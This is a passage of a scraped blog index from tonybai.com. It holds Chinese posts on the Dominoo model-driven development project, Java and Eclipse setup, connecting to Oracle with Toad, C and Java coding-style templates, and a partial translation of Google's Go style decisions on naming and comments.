Architecture)[1]等概念和方法论的提出和飞速发展。Dominoo的最直接意图就是由软件的设计模型直接产生可执行代码，也就是说Dominoo将传统的“需求”–〉“设计”–〉“编码”–〉“测试”的软件开发过程链缩短了，变成了“需求”–〉“设计”–〉“测试”。这将把开发人员从繁重的编码中解脱出来而专著于软件系统的模型设计，从而大大提高了软件开发人员的劳动生产率。\n注1：什么是MDA呢？简而言之，就是一个围绕支持模型驱动开发过程的一系列标准的框架，这些标准包括：统一建模语言UML（Unified Modeling Language）、元对象机制MOF（Meta Object Facility）、XML元数据交换XMI（XML Metadata Interchange）、公共数据仓库元模型CWM（Common Warehouse Metamodel）等。MDA的三个主要目标是：通过架构性的分离来实现轻便性、互操作性和可重用性。\n","permalink":"https://tonybai.com/2004/10/10/dominoo-notes-part1/","summary":"\u003cp\u003e国庆节前夕见到了Darwin_yuan,他给我们带来了Dominoo。\u003c/p\u003e\n\u003cp\u003eDominoo是什么？\u003c/p\u003e\n\u003cp\u003e在Darwin_yuan的blog中是这样描述的:Dominoo means \u0026ldquo;Design Of Model IN Object-Oriented.\u0026quot;,从字面的意思来理解Dominoo就是“用面向对象的方法进行模型设计”。\u003c/p\u003e","title":"Dominoo项目日记(一)"},{"content":".jdk的安装\n.环境变量的配置\n.Eclipse IDE的安装和配置\n.Java编码规范\n1、jdk的安装\nJava号称跨平台，实际上其本身就是个平台，我们要使用Java开发应用程序，我们首先就要安装Java平台，所谓Java平台就是指Java的运行环境（JRE）和相应的SDK。\n这里我们选择j2sdk1.4.2来作为我们的Java平台，安装过程只需一路next即可。安装结束后，我们在命令行下输入“java -version”，若显示出：\njava version \u0026ldquo;1.4.2\u0026rdquo;\nJava(TM) 2 Runtime Environment, Standard Edition (build 1.4.2-b28)\nJava HotSpot(TM) Client VM (build 1.4.2-b28, mixed mode)\n则说明我们的安装成功了！\n2、环境变量的配置\n很多初学者接触Java时都在环境变量的配置上花了不少时间和精力，这也是我把它单列出来加以说明的原因。\nJava开发环境需要配置3个环境变量，分别是：\nJAVA_HOME=your_j2sdk_installation_path\nPATH=%JAVA_HOME%\\bin;%PATH%\nCLASSPATH=.;%JAVA_HOME%\\jre\\lib\\rt.jar;%JAVA_HOME%\\lib\\dt.jar;%JAVA_HOME%\\lib\\tools.jar\n注意：CLASSPATH中包含一个“.”,这个“.”很重要千万不能遗漏，这个“.”的含义是允许在当前路径下搜索。\n这些环境变量如何配置呢，在Windows下最简单的配置环境变量的方法是在“我的电脑”上单击右键点击“属性”，打“系统属性”对话框，选择“高级”标签栏，其中有“环境变量”按钮，点击之后打开“环境变量”对话框，在下面的“系统变量”中添加上述3个环境变量即可。\n配置成功后，在命令行下输入：javac ,若显示：\nUsage: javac\nwhere possible options include:\n-g Generate all debugging info\n-g:none Generate no debugging info\n-g:{lines,vars,source} Generate only some debugging info\n-nowarn Generate no warnings\n-verbose Output messages about what the compiler is doing\n-deprecation Output source locations where deprecated APIs are used\n-classpath Specify where to find user class files\n-sourcepath Specify where to find input source files\n-bootclasspath Override location of bootstrap class files\n-extdirs Override location of installed extensions\n-d Specify where to place generated class files\n-encoding Specify character encoding used by source files\n-source Provide source compatibility with specified\nrelease\n-target Generate class files for specific VM version\n-help Print a synopsis of standard options\n则说明环境变量配置成功。\n3、Eclipse IDE的安装和配置\n开发java程序，我们需要一个功能强大而且易用性好的ide，JBuilder太贵我们用不起，我们选择免费的eclipse。eclipse的安装很简单。只需将下载后的压缩包解压到某个目录下即可。相关的eclipse ide的配置我们都可以通过“Window”菜单下的“Open Perspective”和“Preferences”两个菜单项进行设置。\n这里我们再来重点说说Java开发中常用的几个工具的配置和使用方法：\nAnt — 待定\nCVS — 见我的blog文章“CVS Primer”\nJUnit — 待定\n参考资料：OReilly@2004 - 《Eclipse Cookbook》\n4、Java编码规范\n感觉Java在编码规范方面的分歧较小，比较容易在group中达成共识。\n我们准备在Dominoo项目中使用“JBoss Code Style”，这里摘取其中的代码模板的例子：\n/*\n* JBoss, the OpenSource J2EE webOS\n*\n* Distributable under LGPL license.\n* See terms of license at gnu.org.\n*/\npackage x;\n// EXPLICIT IMPORTS\nimport a.b.C1; // GOOD\nimport a.b.C2;\nimport a.b.C3;\n// DO NOT WRITE\nimport a.b.*; // BAD\n// DO NOT USE \u0026ldquo;TAB\u0026rdquo; TO INDENT CODE USE *3* SPACES FOR PORTABILITY AMONG EDITORS\n/**\n* A description of this class.\n*\n* @see SomeRelatedClass.\n*\n* @version $Revision: 1.3 $\n* @author xx\n* @author yy\n*/\npublic class X\nextends Y\nimplements Z\n{\n// Constants —————————————————–\n// Attributes —————————————————\n// Static ——————————————————–\n// Constructors ————————————————–\n// Public ——————————————————–\npublic void startService() throws Exception\n{ // Use the newline for the opening bracket so we can match top and bottom bracket visually\nClass cls = Class.forName(dataSourceClass);\nvendorSource = (XADataSource)cls.newInstance();\n// JUMP A LINE BETWEEN LOGICALLY DISCTINT **STEPS** AND ADD A LINE OF COMMENT TO IT\ncls = vendorSource.getClass();\nif(properties != null \u0026amp;\u0026amp; properties.length() \u0026gt; 0)\n{\ntry\n{\n}\ncatch (IOException ioe)\n{\n}\nfor (Iterator i = props.entrySet().iterator(); i.hasNext();)\n{\n// Get the name and value for the attributes\nMap.Entry entry = (Map.Entry) i.next();\nString attributeName = (String) entry.getKey();\nString attributeValue = (String) entry.getValue();\n// Print the debug message\nlog.debug(\u0026ldquo;Setting attribute \u0026lsquo;\u0026rdquo; + attributeName + \u0026ldquo;\u0026rsquo; to \u0026lsquo;\u0026rdquo; +\nattributeValue + \u0026ldquo;\u0026rsquo;\u0026rdquo;);\n// get the attribute\nMethod setAttribute =\ncls.getMethod(\u0026ldquo;set\u0026rdquo; + attributeName,\nnew Class[] { String.class });\n// And set the value\nsetAttribute.invoke(vendorSource,\nnew Object[] { attributeValue });\n}\n}\n// Test database\nvendorSource.getXAConnection().close();\n// Bind in JNDI\nbind(new InitialContext(), \u0026ldquo;java:/\u0026quot;+getPoolName(),\nnew Reference(vendorSource.getClass().getName(),\ngetClass().getName(), null));\n}\n// Z implementation ———————————————-\n// Y overrides —————————————————\n// Package protected ———————————————\n// Protected —————————————————–\n// Private ——————————————————-\n// Inner classes ————————————————-\n}\n","permalink":"https://tonybai.com/2004/10/10/java-basics/","summary":"\u003cp\u003e.jdk的安装\u003cbr\u003e\n.环境变量的配置\u003cbr\u003e\n.Eclipse IDE的安装和配置\u003cbr\u003e\n.Java编码规范\u003c/p\u003e\n\u003cp\u003e1、jdk的安装\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"http://en.wikipedia.org/wiki/Java_(programming_language)\" title=\"Java\"\u003eJava\u003c/a\u003e号称跨平台，实际上其本身就是个平台，我们要使用Java开发应用程序，我们首先就要安装Java平台，所谓Java平台就是指Java的运行环境（JRE）和相应的SDK。\u003c/p\u003e\n\u003cp\u003e这里我们选择j2sdk1.4.2来作为我们的Java平台，安装过程只需一路next即可。安装结束后，我们在命令行下输入“java -version”，若显示出：\u003c/p\u003e","title":"Java基础"},{"content":"Oracle是个庞大又复杂的数据库系统，就连连接Oracle的程序也不简单，在leader的推荐下我选择了toad，以前从来没听说过，后来到网上查了查才发现它是那么的出名。开始以为装好toad，配置一下就可以访问到数据库了，可是事与愿违，遭遇到挫折后，才知道还要装Oracle的客户端程序。我们的内网上有很多Oracle安装程序，从一个ftp上down下来一个oracle8.1.7的安装程序，按提示安装了，安装后程序菜单中出现为数不少的oracle工具，不知道是哪个，挨个儿试，试了半天也还是连不上数据库，郁闷。找个老员工问问吧。呵呵，恰好过来一个“倒霉蛋”，我就让他帮我配置，他也弄了半天，最后得出结论，他用的是低版本的客户端，这个高版本的不会配，还好他把他的机器上的安装程序共享给我了，这样终于走向正规了。\n从他的机器上下载的是oracle8.0.5 client for winnt安装程序，安装过程中在“select installation options”中选择“Oracle 8 Client”,在“Select Client Configuration”中选择“applicatin user”,以后均按默认选项即可。\n在下面的安装中，\nAdd New Servie: 填写你的数据库的名字\nService Names , also called Database Aliases ,是用户定义的用来识别和连接一个Oracle数据库用的。\n网络协议一般选择TCP/IPHost Name :你的数据库所在的地址，如192.168.180.7\nPort Number:一般默认。\nDataBase SID:查看数据库所在服务器的shell配置文件，如我的数据库在Solaris8上，登陆到该服务器上查看shell配置文件中该项的定义。C Shell查看.cshrc文件。\nTest Service:添上你的user和password,测试一下一切OK。\n这样Oracle Client就配置完毕了，呵呵，也挺简单是吧！\n运行toad，会发现在toad的“toad server login version XXX”对话框中的Database中有“1807.WORLD”，这就是你刚才配置的数据库，添上user和password，connect即可。\n用toad提供的Schema Browser，你的数据库中的Objects就一幕了然了！\n在此过程中，遇到网路不通，磁盘空间不足等，郁闷死我了！\n","permalink":"https://tonybai.com/2004/09/16/connect-oracle/","summary":"\u003cp\u003e\u003ca href=\"http://en.wikipedia.org/wiki/Oracle_Database\" title=\"Oracle\"\u003eOracle\u003c/a\u003e是个庞大又复杂的数据库系统，就连连接Oracle的程序也不简单，在leader的推荐下我选择了\u003ca href=\"https://tonybai.com/2004/09/16/connect-oracle/www.quest.com/toad\" title=\"Toad\"\u003etoad\u003c/a\u003e，以前从来没听说过，后来到网上查了查才发现它是那么的出名。开始以为装好toad，配置一下就可以访问到数据库了，可是事与愿违，遭遇到挫折后，才知道还要装Oracle的客户端程序。我们的内网上有很多Oracle安装程序，从一个ftp上down下来一个oracle8.1.7的安装程序，按提示安装了，安装后程序菜单中出现为数不少的oracle工具，不知道是哪个，挨个儿试，试了半天也还是连不上数据库，郁闷。找个老员工问问吧。呵呵，恰好过来一个“倒霉蛋”，我就让他帮我配置，他也弄了半天，最后得出结论，他用的是低版本的客户端，这个高版本的不会配，还好他把他的机器上的安装程序共享给我了，这样终于走向正规了。\u003c/p\u003e\n\u003cp\u003e从他的机器上下载的是oracle8.0.5 client for winnt安装程序，安装过程中在“select installation options”中选择“Oracle 8 Client”,在“Select Client Configuration”中选择“applicatin user”,以后均按默认选项即可。\u003c/p\u003e","title":"连接Oracle"},{"content":"刚入司时，给我们做技术培训的老员工强烈向我们推荐blog这个新兴（起码对我来说是新的^_^）的咚咚，当时也想写就申请了一个，可是不知一天都忙些什么了，到今天才写了这第一篇，要说今天为什么要写，两个字“心烦”，本来我的第一篇blog在我的头脑中早已构思多次了，内容也换了多次，可是都没能实现，这篇blog是在丝毫没想的前提下动手写的。我觉得这样也不错，现在我的感觉就是想写就写，不用考虑太多，呵呵。\n今天我入司以来的第一个项目编码结束，上午代码评审，我的leader给我找出“一堆”问题。真是郁闷啊，原以为自己的水平可以了，原来还是有很多要学习的。以前在Windows平台上开发，早已有自己的规范或者说习惯。现在转移到Solaris上开发，有些东东还真得好好学习一下，比如C语言代码头文件和源文件的格式。下面的例子是从各个代码规范中提取出来的一部分，也是我以后在项目中要使用的形式，有可能只适合我，呵呵。\n本不是第一篇的第一篇，我就写这么多了。\n附代码规范示例：\n/* in ANSI_C_CODING_STANDARDS.h */\n/*\n* Copyright 2005, XX, Inc., China\n* All rights reserved.\n*\n* XX\u0026rsquo;s source code is an unpublished work and the use of a copyright notice does\n* not imply otherwise. This source code contains confidential, trade secret material of\n* XX, Inc. Any attempt or participation in deciphering, decoding, reverse engineering\n* or in any way altering the source code is strictly prohibited, unless the prior written\n* consent of XX, Inc. is obtained.\n*/\n/*\n* @file ANSI_C_CODING_STANDARDS.h\n* @author tony_bai\n* @date 2005-07-01\n* @brief the template for ANSI C\n* header file\n*/\n/*\n* @revision\n* @version 0.1\n* @date 2005-08-01\n* @Revisor tony_bai\n*\n* @revision\n* @version 0.2\n* @date 2005-09-01\n* @Revisor tony_bai\n*/\n/*\n* @glossary\n* xx – xxxxx\n* xx – xxxxx\n*/\n/*\n* @usage\n*\n*/\n#ifndef ANSI_C_CODING_STANDARDS_H\n#define ANSI_C_CODING_STANDARDS_H\n#include ANSI C Standard Library Header File\n#include Operating System Library Header File\n#include \u0026ldquo;Your System Library Header File\u0026rdquo;\n/*\n* ####################\n* # global constants #\n* ####################\n*/\n/*\n* #################\n* # global macros #\n* #################\n*/\n/*\n* ##############################\n* # global abstract data types #\n* ##############################\n*/\n/*\n* ####################\n* # global variables #\n* ####################\n*/\n/*\n* #############\n* # externals #\n* #############\n*/\n/*\n* ###############################\n* # global functions prototypes #\n* ###############################\n*/\n#endif ANSI_C_CODING_STANDARDS_H\n/* in ANSI_C_CODING_STANDARDS.c */\n/*\n* Copyright 2005, XX, Inc., China\n* All rights reserved.\n*\n* XX\u0026rsquo;s source code is an unpublished work and the use of a copyright notice does\n* not imply otherwise. This source code contains confidential, trade secret material of\n* XX, Inc. Any attempt or participation in deciphering, decoding, reverse engineering\n* or in any way altering the source code is strictly prohibited, unless the prior written\n* consent of XX, Inc. is obtained.\n*/\n/*\n* @file ANSI_C_CODING_STANDARDS.c\n* @author tony_bai\n* @date 2005-07-01\n* @brief the template for ANSI C\n* source file\n*/\n/*\n* @revision\n* @version 0.1\n* @date 2005-08-01\n* @Revisor tony_bai\n*\n* @revision\n* @version 0.2\n* @date 2005-09-01\n* @Revisor tony_bai\n*/\n#include ANSI C Standard Library Header File\n#include Operating System Library Header File\n#include \u0026ldquo;Your System Library Header File\u0026rdquo;\n/*\n* ###################\n* # local constants #\n* ###################\n*/\n/*\n* ################\n* # local macros #\n* ################\n*/\n/*\n* #############################\n* # local abstract data types #\n* #############################\n*/\n/*\n* ###################\n* # local variables #\n* ###################\n*/\n/*\n* ##############################\n* # local functions prototypes #\n* ##############################\n*/\n/*\n* ####################################\n* # global functions implementations #\n* ####################################\n*/\n/*\n* ###################################\n* # local functions implementations #\n* ###################################\n*/\n","permalink":"https://tonybai.com/2004/09/15/the-first-blog/","summary":"\u003cp\u003e刚入司时，给我们做技术培训的老员工强烈向我们推荐\u003ca href=\"http://en.wikipedia.org/wiki/Blog\" title=\"Blog\"\u003eblog\u003c/a\u003e这个新兴（起码对我来说是新的^_^）的咚咚，当时也想写就申请了一个，可是不知一天都忙些什么了，到今天才写了这第一篇，要说今天为什么要写，两个字“心烦”，本来我的第一篇blog在我的头脑中早已构思多次了，内容也换了多次，可是都没能实现，这篇blog是在丝毫没想的前提下动手写的。我觉得这样也不错，现在我的感觉就是想写就写，不用考虑太多，呵呵。\u003c/p\u003e\n\u003cp\u003e今天我入司以来的第一个项目编码结束，上午代码评审，我的leader给我找出“一堆”问题。真是郁闷啊，原以为自己的水平可以了，原来还是有很多要学习的。以前在Windows平台上开发，早已有自己的规范或者说习惯。现在转移到\u003ca href=\"http://en.wikipedia.org/wiki/Solaris_(operating_system)\" title=\"Solaris\"\u003eSolaris\u003c/a\u003e上开发，有些东东还真得好好学习一下，比如\u003ca href=\"http://en.wikipedia.org/wiki/C_(language)\" title=\"C\"\u003eC语言\u003c/a\u003e代码头文件和源文件的格式。下面的例子是从各个代码规范中提取出来的一部分，也是我以后在项目中要使用的形式，有可能只适合我，呵呵。\u003c/p\u003e","title":"本不是第一篇的第一篇"},{"content":"抱歉，您访问的页面不存在或已被移动。\n请尝试使用搜索功能查找您需要的内容，或返回首页。\n","permalink":"https://tonybai.com/404/","summary":"\u003cp\u003e抱歉，您访问的页面不存在或已被移动。\u003c/p\u003e\n\u003cp\u003e请尝试使用搜索功能查找您需要的内容，或返回\u003ca href=\"/\"\u003e首页\u003c/a\u003e。\u003c/p\u003e","title":"404 - 页面未找到"},{"content":"\n本文永久链接 – https://tonybai.com/google-go-style/google-go-style-decisions\n本页面是2022年11月中旬Google发布的Go语言编码风格规范系列文档的决定篇的中译版。\n概述 | 指南 | 决定 | 最佳实践\n注意：这是介绍Google Go编码风格的系列文档的一部分。本文档是规范性的，但不具备权威性。本篇级别要低于指南篇，更多信息请参见概述篇。\n关于 本文档包含了Go编码风格的决定，旨在整合统一Go可读性导师给出的建议，并提供标准的指导、解释和例子。\n本文档并不是完全版，而是会随着时间的推移而增加内容。如果核心风格指南与这里给出的建议相矛盾，则以风格指南为准，本文档也应进行相应更新。\n请参阅“概述篇”中的全套Go编码风格文档。\n以下部分已从本风格决定篇中移至指南篇了：\n驼峰命名 格式化 行长 命名 关于命名的总体指导，见核心风格指南中的命名部分。以下各节将对命名进行细分场景的进一步的说明。\n下划线 Go语言中的名称一般不应包含下划线，不过这一原则有三个例外：\n仅由生成的代码导入的包名可以包含下划线。关于如何选择由多个单词组成的包名的更多细节，请参阅下面包名一节。 在*_test.go文件中的Test、Benchmark和Example函数名称可以包含下划线。 与操作系统或cgo互操作的低级库可以重复使用标识符，就像在syscall中那样。但这在大多数代码库中是非常罕见的。 包名 Go包的名称应该是短小的，并且只包含小写字母。由多个单词组成的包名的各个单词之间应该没有间断。例如，我们使用tabwriter作为包名，而不是tabWriter，TabWriter或者tab_writer。\n避免选择那些可能被常用的局部变量名称遮蔽的包名。例如，usercount是一个比count更好的包名，因为count是一个常用的变量名。\nGo包的名字不应该有下划线。如果您需要导入一个名称中含有下划线的包（通常来自自动生成的代码或第三方代码），必须在导入时将其重命名为适合在Go代码中使用的名称。\n这方面的一个例外是，仅由生成的代码导入的包名可以包含下划线，具体的例子包括：\n在外部测试包的包名中使用_test后缀，例如集成测试。 在包级的文档示例中使用_test后缀。 避免使用诸如util、utility、common、helper等信息量不足的包名。更多信息参见所谓的“实用程序包”。\n当一个导入的包被重命名时（例如：import foopb “path/to/foo_go_proto”），该包的本地名称必须符合上述规则，因为本地名称决定了包中的符号在文件中的引用方式。如果一个包在多个文件中被导入时都做了重命名，特别是在相同或邻近的包中，为了保持一致性，应尽可能使用相同的本地名称。\n也请参见：关于包名的Go博文。\nReceiver命名 Receiver变量的名称必须满足下面要求：\n短（通常为一或两个字母的长度）。 类型本身的缩略语。 统一应用于该类型的每一个Receiver。 长名字 更好的名字 func (tray Tray) func (t Tray) func (info *ResearchInfo) func (ri *ResearchInfo) func (this *ReportWriter) func (w *ReportWriter) func (self *Scanner) func (s *Scanner) 常量命名 常量名称必须像Go中的其他名称一样使用驼峰命名法(MixedCaps)(导出的常量以大写字母开始，而未导出的常量以小写字母开始)。即便这与其他语言中的惯例有悖。常量名称不应该是其值的衍生物，而应该解释其值所表示的内容：\n// Good: const MaxPacketSize = 512 // 译注：不应命名为FiveHundredTwelve const ( ExecuteBit = 1 \u0026lt;\u0026lt; iota WriteBit ReadBit ) 不要使用非驼峰命名的常量名称或带有K前缀的常量：\n// Bad: const MAX_PACKET_SIZE = 512 const kMaxBufferSize = 1024 const KMaxUsersPergroup = 500 根据常量的作用来命名常量，而不是根据它们的值。如果一个常量除了它的值之外没有作用，那么就没有必要把它定义为一个常量。\n// Bad: const Twelve = 12 const ( UserNameColumn = \u0026quot;username\u0026quot; GroupColumn = \u0026quot;group\u0026quot; ) 首字母缩略词(Initialisms) 名称中的单词如果是首字母缩略词或缩略语（例如，URL和NATO）应该使用相同的大小写命名。URL应该使用URL或url（如urlPony，或URLPony），而不是Url。这也适用于ID，当它是“标识符”的缩写时使用appID而不是appId。\n在有多个首字母缩略词的名字中（例如XMLAPI，它包含XML和API两个首字母缩略词），每个首字母缩略词中的字母都应该具有一致的大小写，但名字中的多个首字母缩略词不需要有相同的大小写。 在包含小写字母的首字母缩略词名称中（例如DDoS、iOS、gRPC），首字母应该保持其在缩略词中原有的样子，除非你需要为了导出该名称而改变第一个字母。在这些情况下，整个首字母缩略词中的字母应该采用相同的大小写（例如，ddos, IOS, GRPC）。 首字母缩略词 作用域 正确的 不正确的 XML API 导出的 XMLAPI XmlApi, XMLApi, XmlAPI, XMLapi XML API 非导出的 xmlAPI xmlapi, xmlApi iOS 导出的 IOS Ios, IoS iOS 非导出的 iOS ios gRPC 导出的 GRPC Grpc gRPC 非导出的 gRPC grpc DDoS 导出的 DDoS DDOS, Ddos DDoS 非导出的 ddos dDoS, dDOS Getter命名 函数和方法名称不应该使用Get或get前缀，除非底层概念使用“get”一词（例如HTTP GET）。我们倾向于直接用那个要Get的事物名词进行命名，例如使用Counts而不是GetCounts。\n如果函数涉及到执行复杂的计算或执行远程调用，可以使用不同的词，如Compute或Fetch来代替Get，以使读者清楚地知道函数调用可能需要时间，并可能阻塞或失败。\n变量命名 一般的经验法则是，名字的长度应该与它使用的范围大小成正比，与它在该范围内使用的次数成反比。一个在文件范围内创建的变量，其名称可能需要由多个单词组成，而一个在单个内部代码块范围内的变量可能只需要用一个单词命名，甚至只有一两个字符，以保持代码的清晰和避免无关的信息。\n这里有一个粗略的基线。这些数字准则并不是严格的规则。根据上下文、清晰度和简明度来应用判断：\n小范围是指执行一个或两个小操作的范围，例如1-7行。 中等范围是指几个小的或一个大的操作，例如8-15行。 大范围是指一个或几个大的操作，例如15-25行。 一个非常大的范围是任何跨越一页以上的范围（比如，超过25行）。 一个在小范围内可能非常清楚的名字（例如，c代表一个计数器）在大范围内可能是不足以胜任的，需要在代码中进一步澄清以提醒读者其目。当一个范围内有许多变量，或者有表示类似的值或概念的变量时，我们可能需要比范围建议的更长的变量名。\n概念的特殊性也可以帮助保持变量名称的简明性。例如，假设只有一个单一的数据库在使用，那么像db这样的短小的变量名称，通常可能是为非常小的范围保留的，即使范围非常大，也可能保持完全清晰。在这种情况下，根据作用域的大小，以database命名可以接受的，但并不是必须的，因为db是一个非常常见的词的简称，几乎没有其他的解释。\n局部变量的名称应该反映它所包含的内容以及它在当前上下文环境中的使用方式，而不是数值的来源。例如，通常情况下，最好的局部变量名称与结构体字段或protocol buffer的字段名称不一样。\n一般来说：\n像count或options这样的单个单词名称是一个好的起点。 可以添加额外的词来区分类似的名字，例如userCount和projectCount。 不要为了节省几次打字而简单地删除字母。例如，Sandbox比Sbx更受欢迎，特别是对于导出的名字。 在大多数变量名称中省略类型和类似类型的词。 对于一个数字来说，userCount是一个比numUsers或usersInt更好的名字。 对于一个切片来说，users是一个比userSlice更好的名字。 如果一个值在范围内有两个版本，那么名字中包含一个类似类型的修饰词是可以接受的，例如，你可能将命令行输入的内容存储在ageString中，并使用age作为解析后的值。 省略那些从周围上下文中可以清楚看出的词。例如，在一个UserCount方法的实现中，一个叫做userCount的局部变量可能是多余的；count、users、甚至c都具备一样的可读性。 单字母变量名 单字母变量名可以是一个有用的工具，可以最大限度地减少重复，但这类变量名也可能使代码出现不必要地不透明。把它们的使用限制在其全词含义很明显的情况下，而且如果用全词来代替单字母变量，就会出现重复的情况。\n一般来说：\n对于一个方法接收器变量，最好使用一个或两个字母的名字。 对常见的类型使用熟悉的变量名通常是有帮助的。 r代表io.Reader或*http.Request w代表io.Writer或http.ResponseWriter。 单字母标识符作为整数循环变量是可以接受的，特别是对于索引（如i）和坐标（如x和y）。 当范围很小时，缩写可以成为可接受的循环标识符，例如，for _, n := range nodes { … }。 重复 Go源代码应该避免不必要的重复。这方面的一个常见来源是重复的名称，它往往包括不必要的单词或重复其上下文或类型。如果相同或类似的代码段在很近的地方多次出现，代码本身也会出现不必要的重复。\n重复性命名有多种形式，包括：\n包 vs. 导出符号的名称 当命名导出的符号时，包的名称在你的包外总是可见的，所以这两者之间的冗余信息应该减少或消除。如果一个包只导出了一个类型，并且是以包本身的名字命名的，如果需要一个构造函数，那么构造函数的规范名称就是New。\n例子：\n重复的名字 更好的名字 widget.NewWidget widget.New widget.NewWidgetWithName widget.NewWithName db.LoadFromDatabase db.Load goatteleportutil.CountGoatsTeleported gtutil.CountGoatsTeleported 或 goatteleport.Count myteampb.MyTeamMethodRequest mtpb.MyTeamMethodRequest 或 myteampb.MethodRequest 变量名称 vs. 类型 编译器总是知道变量的类型，而且在大多数情况下，读者也可以通过变量的使用方式清楚地知道它是什么类型。只有当一个变量的值在同一范围内出现两次时，才有必要澄清它的类型。\n重复的名字 更好的名字 var numUsers int var users int var nameString string var name string var primaryProject *Project var primary *Project 如果该值以多种形式出现，可以用一个额外的词来澄清，如raw和parsed，或者用底层表示法：\n// Good: limitStr := r.FormValue(\u0026quot;limit\u0026quot;) limit, err := strconv.Atoi(limitStr) // Good: limitRaw := r.FormValue(\u0026quot;limit\u0026quot;) limit, err := strconv.Atoi(limitRaw) 外部上下文 vs. 本地名称 包含周围上下文信息的名字往往不仅没有带来好处，还会产生额外的噪音。包名、方法名、类型名、函数名、导入路径、甚至文件名都可以提供自动限定其中所有名称的上下文信息。\n// Bad: // In package \u0026quot;ads/targeting/revenue/reporting\u0026quot; type AdsTargetingRevenueReport struct{} func (p *Project) ProjectName() string // Good: // In package \u0026quot;ads/targeting/revenue/reporting\u0026quot; type Report struct{} func (p *Project) Name() string // Bad: // In package \u0026quot;sqldb\u0026quot; type DBConnection struct{} // Good: // In package \u0026quot;sqldb\u0026quot; type Connection struct{} // Bad: // In package \u0026quot;ads/targeting\u0026quot; func Process(in *pb.FooProto) *Report { adsTargetingID := in.GetAdsTargetingID() } // Good: // In package \u0026quot;ads/targeting\u0026quot; func Process(in *pb.FooProto) *Report { id := in.GetAdsTargetingID() } 重复一般应在符号使用者的上下文中进行评估，而不是孤立地进行评估。例如，下面的代码有很多名字，在某些情况下可能是好的，但在上下文中是多余的。\n// Bad: func (db *DB) UserCount() (userCount int, err error) { var userCountInt64 int64 if dbLoadError := db.LoadFromDatabase(\u0026quot;count(distinct users)\u0026quot;, \u0026amp;userCountInt64); dbLoadError != nil { return 0, fmt.Errorf(\u0026quot;failed to load user count: %s\u0026quot;, dbLoadError) } userCount = int(userCountInt64) return userCount, nil } 相反，那些上下文或用法中明确的名称信息往往可以被省略：\n// Good: func (db *DB) UserCount() (int, error) { var count int64 if err := db.Load(\u0026quot;count(distinct users)\u0026quot;, \u0026amp;count); err != nil { return 0, fmt.Errorf(\u0026quot;failed to load user count: %s\u0026quot;, err) } return int(count), nil } 注释 对注释的惯例（包括注释的内容、使用的风格、如何提供可运行的例子等）进行说明是为了更好地提升阅读公共API文档的体验。更多信息请参见Effective Go。\n最佳实践文档中关于文档惯例的部分将进一步讨论了这个问题。\n最佳实践：在开发和代码审查过程中使用文档预览，看看文档和可运行的例子是否有用，是否按照你期望的方式呈现。\n提示：Godoc很少使用特殊格式；列表和代码片段通常应该缩进以避免换行。除缩进外，一般应避免使用其他修饰方法。\n注释行的长度 确保注释即使在狭窄的屏幕上也能从源码中读到。\n当一个注释变得太长时，建议将它拆成多个单行注释。在可能的情况下，争取使注释在80列宽的终端上也能很好阅读，但这并不是一个硬性规定；Go中的注释没有固定的行长限制。例如，标准库经常选择根据标点符号来中断注释，这有时会使个别行更接近60-70个字符。\n有很多现有的代码中，注释的长度超过了80个字符。本指南不应作为修改这些代码的理由，作为可读性审查的一部分（见一致性），尽管我们鼓励团队适时地更新注释以遵循本指南并作为其他重构的一部分。本指南的主要目标是确保所有Go可读性导师在提出建议时都能做出相同的建议。\n关于注释的更多内容，请参见The Go Blog关于文档的这篇文章。\n# Good: // This is a comment paragraph. // The length of individual lines doesn't matter in Godoc; // but the choice of wrapping makes it easy to read on narrow screens. // // Don't worry too much about the long URL: // https://supercalifragilisticexpialidocious.example.com:8080/Animalia/Chordata/Mammalia/Rodentia/Geomyoidea/Geomyidae/ // // Similarly, if you have other information that is made awkward // by too many line breaks, use your judgment and include a long line // if it helps rather than hinders. 避免在小屏幕上重复折行的注释，这是一种糟糕的读者体验：\n# Bad: // This is a comment paragraph. The length of individual lines doesn't matter in Godoc; // but the choice of wrapping causes jagged lines on narrow screens or in Critique, // which can be annoying, especially when in a comment block that will wrap repeatedly. // // Don't worry too much about the long URL: // https://supercalifragilisticexpialidocious.example.com:8080/Animalia/Chordata/Mammalia/Rodentia/Geomyoidea/Geomyidae/ 文档注释 所有顶层导出的名字都必须有文档注释，具有不明显的行为或意义的未导出的类型或函数声明也应该如此。这些注释应该是以被描述对象的名称开始的完整句子。冠词（”a”、”an”、”the”）可以放在名字前面，使其读起来更自然。\n// Good: // A Request represents a request to run a command. type Request struct { ... // Encode writes the JSON encoding of req to w. func Encode(w io.Writer, req *Request) { ... 文档注释出现在Godoc中，并被IDE显示出来，因此应该为使用该包的任何人编写文档注释。\n文档注释适用于以下符号，如果它出现在一个结构体中，则适用于该组字段。\n// Good: // Options configure the group management service. type Options struct { // General setup: Name string Group *FooGroup // Dependencies: DB *sql.DB // Customization: LargeGroupThreshold int // optional; default: 10 MinimumMembers int // optional; default: 2 } 最佳实践：如果你有针对未导出代码的文档注释，请遵循与导出代码相同的习惯（即以未导出的名称开始注释）。这使得以后导出时很容易，只需在注释和代码中用新导出的名字替换未导出的名字即可。\n注释句子 作为完整的句子的注释应该像标准英语句子一样首词头字母大写并使用标点符号。(作为一个例外，在一个句子的开头使用非头母大写的标识符是可以的。这种情况可能最好只在段落的开头进行）。\n作为句子片段的注释对标点符号和大写字母没有这样的要求。\n文档注释应该始终是完整的句子，因此应该始终首词头字母大写和使用标点。简单的行末注释（特别是对结构体字段）可以是简单的短语，并假定字段名是短语的主语。\n// Good: // A Server handles serving quotes from the collected works of Shakespeare. type Server struct { // BaseDir points to the base directory under which Shakespeare's works are stored. // // The directory structure is expected to be the following: // {BaseDir}/manifest.json // {BaseDir}/{name}/{name}-part{number}.txt BaseDir string WelcomeMessage string // displayed when user logs in ProtocolVersion string // checked against incoming requests PageLength int // lines per page when printing (optional; default: 20) } 例子 软件包应该清楚地记录它们的预期用途。尽量提供一个可运行的例子；例子将在Godoc中显示出来。可运行的例子属于测试文件，而不属于用于生产环境的源文件。请看这个例子（Godoc, source）。\n如果无法提供一个可运行的例子，也可以在代码注释中提供例子代码。与其他代码和命令行片段的注释一样，它应该遵循标准的格式化惯例。\n具名返回值参数 在命名函数参数时，要考虑函数签名在Godoc中的呈现方式。函数本身的名称和返回值参数的类型通常足够清楚。\n// Good: func (n *Node) Parent1() *Node func (n *Node) Parent2() (*Node, error) 如果一个函数返回两个或更多相同类型的参数，为返回值参数添加名称可能会很有用：\n// Good: func (n *Node) Children() (left, right *Node, err error) 